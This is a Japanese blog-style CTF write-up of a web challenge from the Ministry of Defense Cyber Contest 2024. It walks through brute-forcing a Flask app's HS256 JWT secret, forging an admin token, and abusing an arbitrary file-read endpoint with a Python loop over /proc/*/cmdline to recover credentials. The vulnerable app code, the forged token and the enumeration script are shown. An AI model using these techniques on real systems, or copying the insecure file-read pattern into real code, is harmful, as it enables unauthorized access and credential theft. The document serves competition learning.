防衛省 サイバーコンテスト 2024 Writeup

# はじめに
<!-- 発端や概要を記載 -->
2024/2/24 (日) 開催された[防衛省サイバーコンテスト](https://www.mod.go.jp/j/approach/defense/cyber/c_contest/)に参加しました！
昨年見かけたときから今年こそは参加するぞと意気込んでいたので、感無量です^^

※サーバ閉鎖&ログを取り忘れという失態により役に立たないWriteupとなっております。時間のある時に暇つぶし程度で目を通してください🙄Writeupじゃなくてほぼ参加記です。


# 目次
<!-- タイトルとアンカー名を編集 -->
1. [Web](#Web)
1. [まとめ](#まとめ)

<!-- 各チャプター -->
# Web
とりあえずWebやるか、、という気持ちで問題を解き始めましたがこれがなかなか沼でした。
30点問題が解けてうれしかったのでそれについてWriteup書こうと思います。

## Bruteforce
、、と思ったのですが、書こうと思った時点でサーバーが閉鎖されておりアクセスできないという事態に😓ということで覚えている範囲で記載します。Writeupはすぐに書こう（反省）

### 問題概要
5000番と8000番ポートで公開されている２つのサービスがあります。
8000番のほうはBasic認証が設定されていてアクセスができないので、5000番ポートで公開されているサービスから攻めていくと思われます。

### ctf-web-hard.py
```python
from flask import Flask
from flask import jsonify
from flask import request

from flask_jwt_extended import create_access_token
from flask_jwt_extended import get_jwt_identity
from flask_jwt_extended import jwt_required
from flask_jwt_extended import JWTManager

app = Flask(__name__)


app.config["JWT_SECRET_KEY"] = "*************"
app.config["JWT_ACCESS_TOKEN_EXPIRES"] = False
app.config["JWT_REFRESH_TOKEN_EXPIRES"] = False
app.config["JWT_COOKIE_CSRF_PROTECT"] = False
app.config["JWT_ENCODE_NBF"] = False


jwt = JWTManager(app)


@app.route("/login", methods=["POST"])
def login():
    users = {}
    users['test'] = 'test'
    users['admin'] = '*************'
    username = request.json.get("username", None)
    print(username)
    password = request.json.get("password", None)
    print(password)
    if (not username in users) or (password != users[username]):
        return jsonify({"msg": "Bad username or password"}), 401

    access_token = create_access_token(identity=username)
    return jsonify(access_token=access_token)

@app.route("/protected", methods=["POST"])
@jwt_required()
def protected():
    current_user = get_jwt_identity()
    if current_user == "test" :
        return "ummm...."
    elif current_user == "admin" :
        filepath = request.json.get("filepath",None)
        f = open(filepath,'r')
        filedata = f.read()
        f.close()
        return jsonify(filedata), 200

if __name__ == "__main__":
    app.run(host="0.0.0.0")


```
ふむふむ、、、 `/protected`にadmin権限でアクセスすればいいのね、、どうやんの？

### JWT
プログラムをみるとLogin時に付与されたJWTで判別しているようです。
[記事](https://qiita.com/knaot0/items/8427918564400968bd2b)によるとJWTは下記のような構造になっているらしい
> ヘッダ、ペイロード、署名の3つから成る。
それぞれは、Base64でエンコードされている
それぞれは、 . (ドット) で結合されている。

ならtestをadminにすれば行けるのでは？？と思ったが事態はそう単純じゃないらしい

### HS256と総当たり攻撃
JWTには署名がついており、HS256というものが使用されていると総当たりができてしまうらしい。
[こちらの記事](https://shukapin.com/security/jwt-tool)を参考に`jwt_tool`と`rockyou.txt`を使って総当たりを実施したところ`conankun`という鍵が使用されていることが判明した。
この辺で問題名の意味を理解した。

`test`を`admin`に変えて、`conankun`で再署名したものでアクセス！filepathは～、、あれ、何指定すればいいんだ？？

### 試行錯誤
ここからめちゃくちゃ時間かかったので端折りますが、本当にわからなかった。
1. 8000番で公開されているサーバにアクセスするためにはadminのパスワードが分かればいいのでは？
→`filepath`に`ctf-web-hard.py`を指定して、`users['admin'] = '*************'`となっている部分を読めたのはいいものの、そのクレデンシャルではアクセスできない
1. ほかのディレクトリに`flag.txt`みたいなのがないか探すもみつからない

マジでわからなかったのでヒント見ました。

### そしてフラグ獲得へ、、
ヒントを見るとなにやらプロセスをみろみたいなことが書いてある（`/proc/*/cmdline`がどーたらみたいなヒントだった気がするけど詳細は忘れましたすみません。）
ということで汚いコードを書いて流してみると、8000番で動作しているサービスはpythonの簡易サーバーで動作しており、configファイルからBasic認証に使われてるクレデンシャルを見ることができました。

```python
import requests
import json

jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODg0MzUxOCwianRpIjoiZWQxNWVmZDctYmMzOC00NTcyLWI5NTEtMjc4ZjE5MDJiNjk3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIn0.xHqcMqTEYhbLFWIguSNCvsVUbcTdrbjGV2-5QtD32-4"

url = "http://10.10.10.34:5000/protected"

for i in range(1,32768):
    
    # POST用データ作成
    payload = {
        "filepath": f"/proc/{i}/cmdline"
    }
    
    # JSON形式に変換
    json_payload = json.dumps(payload)

    # リクエスト送信
    res = requests.post(url, data=json_payload, headers={
        "Content-Type": "application/json",
        "Authorization": f"Bearer {jwt_token}"
        })

    if res.status_code == 200:
        print(f"PID:{i} cmdline:{res.text}")

```
Basic認証を突破してフラグゲット
`FLAG{pLi5lfm8hJK7}`

# まとめ
<!-- まとめを記載 -->
サーバ閉鎖されてた&全然ログとってないのコンボで価値のないwriteupになってしまいましたが、苦しんで（ヒントもみて）何とか解答できた様子が伝わりましたでしょうか！？この苦しみを味わってからフラグ取れた時が一番気持ちいいんです()

順位も振るわず実力不足を感じる参加とはなりましたが、まだまだこれからということで参加できただけでもよしとします😊
みなさんも来年は一緒に参加しましょう！Writeup書きたい人は競技中にちゃんとログとかメモとか取っておくことをお勧めしますｗ